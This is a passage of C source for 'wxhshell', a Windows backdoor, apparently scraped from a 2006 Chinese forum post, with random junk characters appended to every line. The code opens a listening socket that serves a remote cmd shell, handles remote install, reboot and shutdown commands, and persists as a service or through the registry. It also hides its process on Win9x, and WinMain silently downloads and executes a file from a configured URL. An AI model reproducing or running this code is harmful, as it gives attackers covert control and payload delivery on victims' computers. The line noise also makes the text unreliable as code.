      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pA@BW:#  
    break; va;fT+k=  
  } 12bztlv  
  // 安装 HgOrrewj  
  case 'i': { D (Q=EdlO  
    if(Install()) )AAPT7!U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -$(2Z[  
    else 0C0ld!>r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {Ytqs(`   
    break; v <E#`4{  
    } V}q=!zz  
  // 卸载 kBrU%[0O  
  case 'r': { H`jvT]  
    if(Uninstall()) K1-y[pS]E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bHmn0fZ9  
    else o@r~KFIe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u%nhQ%  
    break; r59BBW)M  
    } g|x* sZR~Y  
  // 显示 wxhshell 所在路径 qmbhx9V   
  case 'p': { oMF[<Xf  
    char svExeFile[MAX_PATH]; 1K{hj%  
    strcpy(svExeFile,"\n\r"); z;EDyd,O>  
      strcat(svExeFile,ExeFile);  5f_1 dn  
        send(wsh,svExeFile,strlen(svExeFile),0); ??g = `yH  
    break; ]goPjfWvU"  
    } ~P+;_  
  // 重启 iiV'-!3w  
  case 'b': { -W)8Z.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m%i!;K"{s  
    if(Boot(REBOOT)) jN sM&s,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kC0^2./p  
    else { 1h&_Q}DM  
    closesocket(wsh); bN.U2%~!  
    ExitThread(0); O BZ:C!  
    } SHe547X1  
    break; Q%_MO`<]$  
    } 6Zq7O\  
  // 关机 | <- t  
  case 'd': { biAa&   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6i*LP(n  
    if(Boot(SHUTDOWN)) `5t CmU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5`1p ?  
    else { !FbW3p f  
    closesocket(wsh); lA ZBlO  
    ExitThread(0); Zs}EGC~&  
    } )|L#i2?:  
    break; -o`|A767  
    } d{RMX<;G  
  // 获取shell &^])iG,Ew  
  case 's': { p`oHF  5  
    CmdShell(wsh); kr5'a:F)  
    closesocket(wsh); %CG=mTP  
    ExitThread(0); X6EnC57  
    break; wy# 5p]!u  
  } g42Z*+P6N  
  // 退出 p|'Rm ]&jb  
  case 'x': { pL{:8Ed  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '=>l& ;  
    CloseIt(wsh); k\lU Q\/O5  
    break; JS0957K  
    } .Wvg{ S -  
  // 离开 o\:vxj+%*  
  case 'q': { f5hf<R),A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }1Km h]  
    closesocket(wsh); c$R<j'7  
    WSACleanup(); `Bv, :i  
    exit(1); ')~[J$qz  
    break; l=^^l`  
        } ]YwvwmZ  
  } 2B=+p83<  
  } ?F@X>zR2  
+We=- e7  
  // 提示信息 hquN+eIDH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1Et{lrgh f  
} Xa/]} B  
  } \$D41_Wt|  
S+//g+e|f  
  return; >&uR=Yd  
} hZeF? G)L'  
4F?O5&329i  
// shell模块句柄 6yXMre)YV  
int CmdShell(SOCKET sock) <'z.3@D  
{ GQ= Pkko  
STARTUPINFO si; 5q{ -RJ  
ZeroMemory(&si,sizeof(si)); ~`o%Y"p%rv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y EhPAQNj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eLN[`hJ  
PROCESS_INFORMATION ProcessInfo; >Gxh=**F  
char cmdline[]="cmd"; %vjfAdC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c"^g*i2&0  
  return 0; xX2/uxi8  
} k= oCpXq^  
:V:siIDn  
// 自身启动模式 5D`!Tu3  
int StartFromService(void) #F6!x3Z  
{ =fy'w3m  
typedef struct d/xGo[?$  
{ |NXe{q7{  
  DWORD ExitStatus; ='\E+*[$I  
  DWORD PebBaseAddress; $h8,QPy  
  DWORD AffinityMask; h&:6S  
  DWORD BasePriority; ue"e><c6:  
  ULONG UniqueProcessId; vB1nj<]&z  
  ULONG InheritedFromUniqueProcessId; xY1@Ja  
}   PROCESS_BASIC_INFORMATION; _gI1@uQw  
3B[u2o>  
PROCNTQSIP NtQueryInformationProcess; r>x>aJ  
be:=-B7!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nSeb?|$D6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tz`T#9  
F`JW&r\  
  HANDLE             hProcess; qJT|om L Y  
  PROCESS_BASIC_INFORMATION pbi; G;v3kGn  
p#tbN5i[{7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2qfKDZ9f^  
  if(NULL == hInst ) return 0; DjQgF=;  
RS /*Dp^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QVPJ$~x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '=]|"   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1ppU ?#  
]m"6a-,`  
  if (!NtQueryInformationProcess) return 0; d m$iiRY  
[rtMx8T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q DJe:\n  
  if(!hProcess) return 0; 7G5VwO  
8Xk,Nbcqt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  Ts 1  
WS1$cAD2N  
  CloseHandle(hProcess); x$/: %"E  
4dI =  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C9"yu&l  
if(hProcess==NULL) return 0; ()%;s2>F  
&(,-:"{pNR  
HMODULE hMod; E8PlGQ~z{d  
char procName[255]; xzOM\Nq?O  
unsigned long cbNeeded; g%T`6dvT  
c-bTf$6}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); so@wUxF  
Cy'! >  
  CloseHandle(hProcess); G.sf>.[  
RL~]mI!U  
if(strstr(procName,"services")) return 1; // 以服务启动 -q}I; cH  
:dj=kuUTbu  
  return 0; // 注册表启动 YTYCv7  
} e? n8S  
%][6TZ}  
// 主模块 Xe>   
int StartWxhshell(LPSTR lpCmdLine) =>,X)+O  
{ mUjM5ceAXO  
  SOCKET wsl; w>uo-88  
BOOL val=TRUE; ZRLS3*`  
  int port=0; '?dT<w=Y&  
  struct sockaddr_in door; u[?M{E/HU  
AG(Gtvw  
  if(wscfg.ws_autoins) Install(); i+eDBg6  
4'BZ+A,p  
port=atoi(lpCmdLine); MgUjB~)Y  
"?#O*x  
if(port<=0) port=wscfg.ws_port; Q9NKQuSu  
1QJB4|5R#  
  WSADATA data; @86?!0bt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QPJz~;V2  
cSWn4-B@l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LP:F'Q:<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l F*x\AT  
  door.sin_family = AF_INET; D!nx%%q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JWo).  
  door.sin_port = htons(port); \2NT7^H#  
N(= \S:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 19 <Lgr  
closesocket(wsl); Y!w {,\3  
return 1; ^.~m4t`U  
} ;P!x/Ct  
1@{qPmf^  
  if(listen(wsl,2) == INVALID_SOCKET) { ewORb  
closesocket(wsl); 4+'d">+|  
return 1; u:GDM   
} 6R+EG{`  
  Wxhshell(wsl); /w2jlu}yt  
  WSACleanup(); 2<33BBlWA  
{}1KI+s9\  
return 0; +w'He9n  
J{h?=vK  
} ,R2;oF_  
Lc5I?}:;L  
// 以NT服务方式启动 ]B>g~t5J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8KyF0r?  
{ 5;_&C=[  
DWORD   status = 0; {&d )O  
  DWORD   specificError = 0xfffffff; `;\~$^sj}  
E (bx/f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; VSW"/{Lp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Zz@wbhMV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .U9A \$  
  serviceStatus.dwWin32ExitCode     = 0; .}x:yKyi@  
  serviceStatus.dwServiceSpecificExitCode = 0; P2>Y0"bY  
  serviceStatus.dwCheckPoint       = 0; )9'Zb`n  
  serviceStatus.dwWaitHint       = 0; PWbi`qF)r  
?2i\E RG?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j#[%-nOT  
  if (hServiceStatusHandle==0) return; z((9vi W  
)h,-zAnZ  
status = GetLastError(); j^qI~|#  
  if (status!=NO_ERROR) 3}25=%;[  
{ n+%tu"e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cL yed3uU  
    serviceStatus.dwCheckPoint       = 0; 1J @43>u{  
    serviceStatus.dwWaitHint       = 0; `(Ij@8 4  
    serviceStatus.dwWin32ExitCode     = status; 7zEpuw  
    serviceStatus.dwServiceSpecificExitCode = specificError; NQqq\h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0FG|s#Ig  
    return; Fooa~C"  
  } h(MS>=  
MR-cOPn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =VOl  *  
  serviceStatus.dwCheckPoint       = 0; F|&=\Q  
  serviceStatus.dwWaitHint       = 0; )!jX$bK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &p6^    
} 7$j O3J  
):pFI/iC  
// 处理NT服务事件,比如:启动、停止 V07? sc<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1H]E:Bq  
{ B#Z-kFn@  
switch(fdwControl) ]n$&|@  
{ 9_I#{ ?  
case SERVICE_CONTROL_STOP: l5fF.A7TT  
  serviceStatus.dwWin32ExitCode = 0; rtY4 B~_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]/y69ou  
  serviceStatus.dwCheckPoint   = 0; :MbD=sX  
  serviceStatus.dwWaitHint     = 0; QB|D_?]  
  { rN5;W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JwM Fu5@  
  } w\2yippI  
  return; qk=0ovUzg  
case SERVICE_CONTROL_PAUSE: ;|H(_J=6k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Hg%8Q@  
  break; y_A?} 'X  
case SERVICE_CONTROL_CONTINUE: c3G&)gU4q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 95X!{\  
  break; k=8LhO  
case SERVICE_CONTROL_INTERROGATE: ~sUWXw7~  
  break; T_1p1Sg  
}; gg}^@h&?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z5%TpAu[  
} r(uf yC&  
e lzKtVw  
// 标准应用程序主函数 2-!n+#Cdf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |y~un9j +  
{ qs'ggF1  
N>3X!K  
// 获取操作系统版本 6A \Z221E  
OsIsNt=GetOsVer(); 5|Or,8r(C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g7),si*  
s#2<^6  
  // 从命令行安装 \~ql_X;3  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4bZ +nQgLu  
.e8S^lSl  
  // 下载执行文件 xPJ kadu  
if(wscfg.ws_downexe) { P<GHX~nB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %*`yd.L0W  
  WinExec(wscfg.ws_filenam,SW_HIDE); %V&I${z  
} cgvD>VUw  
J 8""}7D  
if(!OsIsNt) { KIfR4,=Q|  
// 如果时win9x,隐藏进程并且设置为注册表启动 [H8QxJk  
HideProc(); n]+v Eu|  
StartWxhshell(lpCmdLine); }R]^%q@&  
} #w:6<$  
else [d~ 25  
  if(StartFromService()) Y%iimbBY|  
  // 以服务方式启动 BpQ/$?5E"  
  StartServiceCtrlDispatcher(DispatchTable); #m<<]L(o8W  
else (!9ybH;T  
  // 普通方式启动 0;pOQF  
  StartWxhshell(lpCmdLine); ^S'tMT_  
GY;q0oQ,  
return 0; 7TN94@kCF  
}
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只看该作者 1 发表于: 2006-10-10
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